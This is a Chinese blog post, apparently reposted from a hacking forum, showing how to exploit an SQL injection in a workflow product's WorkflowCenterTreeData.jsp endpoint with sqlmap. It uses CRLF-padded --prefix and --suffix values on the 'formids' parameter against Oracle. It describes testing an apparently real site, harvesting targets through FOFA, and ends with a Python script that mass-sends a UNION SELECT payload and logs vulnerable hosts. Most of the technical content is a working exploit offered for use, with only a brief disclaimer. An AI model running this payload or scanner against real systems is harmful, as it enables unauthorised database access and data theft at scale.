【实战技巧】sqlmap不为人知的骚操作

目录

  • 前言
  • 0x00 致谢
  • 0x01 注入前知识补充
  • 0x02 开始注入
  • 0x03 那些乌七八糟的坑
  • 0x04 批量验证漏洞是否存在
  • 0x05 脚本源码
  • 0x06 免责声明

前言


此篇文章是我投t00ls通过的文章,在t00ls可以看到原稿!
在这里发布是给那些没有t00ls账号的小伙伴看看!

如果有不知道这个漏洞,可以先看看下面的文章
https://xz.aliyun.com/t/6531


0x00 致谢

感谢丞相表哥的无私相助,感谢丞相表哥倾言相怼。没有你怼言,就没有这篇文章。没有的无私,就没有我的今天。感谢丞相表哥一直以来的孜孜不倦的教诲,一直以来倾囊相授,一路有你,真好!


0x01 注入前知识补充


sqlmap参数:–prefix,–suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’)  AND (’abc’=’abc’) LIMIT 0, 1"; 

0x02 开始注入

首先我找一个站点测试一下是否存在这个漏洞。
【实战技巧】sqlmap不为人知的骚操作_第1张图片
好,我已经成功验证漏洞是存在的!先构造参数和payload,后使用sqlmap开始注入。
(PS:C:\Users\samny\Desktop\22.txt 这个文件是存放上面数据包的,如果不是放在sqlmap安装路径下,注意使用绝对路径。)

sqlmap.py -r C:\Users\samny\Desktop\22.txt  --dbms oracle -p formids --prefix ")))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d" --suffix "order by (((1"

好,成功注入!(ps如果想sqlmap可以速度更快点可以指定数据库类型,使用–dbms oracle)

【实战技巧】sqlmap不为人知的骚操作_第2张图片
从目前看来一切都很顺利的亚子!但是过程真的有这么简单吗?让我们且看下回分解。


0x03 那些乌七八糟的坑

好,让我们继续上回合!
观众:你这回合继续有点快呀!
我。。。。。。(鸦雀无声!)你这个怎么回事啊!打断我说话,能不能让我继续了!
ok,让我们继续听你讲!


上面都是我的垃圾话!各位看官不要介意!

我抓包,存包之后,把参数也全部都弄好了!我开开心心的敲下回车键!
结果悲剧!!(下面的图片都是我弄了好久才。。。。。)
其实到后面才发现,下面的意思是我formids参数不在数据包的参数里面!

【实战技巧】sqlmap不为人知的骚操作_第3张图片


这一看我就觉得是我没有指定好参数!
于是乎又有了接下来的坑了!
我把-p参数改成这样子!

【实战技巧】sqlmap不为人知的骚操作_第4张图片


这个就是我直接包修改下来的结果!参数不在一起,sqlmap无法识别!

【实战技巧】sqlmap不为人知的骚操作_第5张图片
改成这样子就可以!一定要修改成这样子!不然注入失败的!

【实战技巧】sqlmap不为人知的骚操作_第6张图片

ps

这张图就是我把-p修改错误的亚子!虽然可以注入但是注入失败的!!!

【实战技巧】sqlmap不为人知的骚操作_第7张图片
burpsuite里面自带功能可以修改数据包请求方式!点击鼠标右键就会弹出下面的页面!

【实战技巧】sqlmap不为人知的骚操作_第8张图片
这个是我成功的亚子!妈的开心极了!

【实战技巧】sqlmap不为人知的骚操作_第9张图片


0x04 批量验证漏洞是否存在

首先使用FOFA收集一批url!
【实战技巧】sqlmap不为人知的骚操作_第10张图片
使用脚本验证!下面是效果图!结果又一定的失败率!

【实战技巧】sqlmap不为人知的骚操作_第11张图片
在这里插入图片描述
在这里插入图片描述

0x05 脚本源码

#config=utf-8

import requests,json


def fanwei(urls):
    try:

        url = urls+"mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333"
        data = "formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,value from v$parameter order by (((1 "


        headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0",
                    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Length": "2236",
                    "Connection": "close",
                    "Upgrade-Insecure-Requests":"1"
                }

        info = requests.post(url,headers=headers,data=data,timeout=30)
        if info.status_code == 200:
            json_info = json.loads(info.text)
            if json_info == []:
                print(urls+" 不存在漏洞")
                with open("no.txt", 'a') as f:
                    f.write(urls + '\n')
            else:
                print(json_info)
                print(urls+" 存在漏洞")
                with open("ok.txt", 'a') as f:
                    f.write(urls + '\n')
        else:
            print(urls+"不存在漏洞")
            with open("no.txt", 'a') as f:
                f.write(urls + '\n')
    except requests.exceptions.HTTPError:
        print(urls+" --HTTPError")
        with open("error.txt", 'a') as f:
            f.write(urls + '\n')
    except requests.exceptions.ConnectionError:
        print(urls+" --ConnectionError")
        with open("error.txt", 'a') as f:
            f.write(urls + '\n')
    except requests.exceptions.Timeout:
        print(urls+" --Timeout")
        with open("error.txt", 'a') as f:
            f.write(urls + '\n')
    except json.decoder.JSONDecodeError:
        print(urls+" --JSONDecodeError")
        with open("error.txt", 'a') as f:
            f.write(urls + '\n')
fp=open("1.txt")
for line in fp:
    line = line.strip('\n')
    fanwei(str(line))

0x06 免责声明

本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

你可能感兴趣的:(安全,工具教学,经验分享)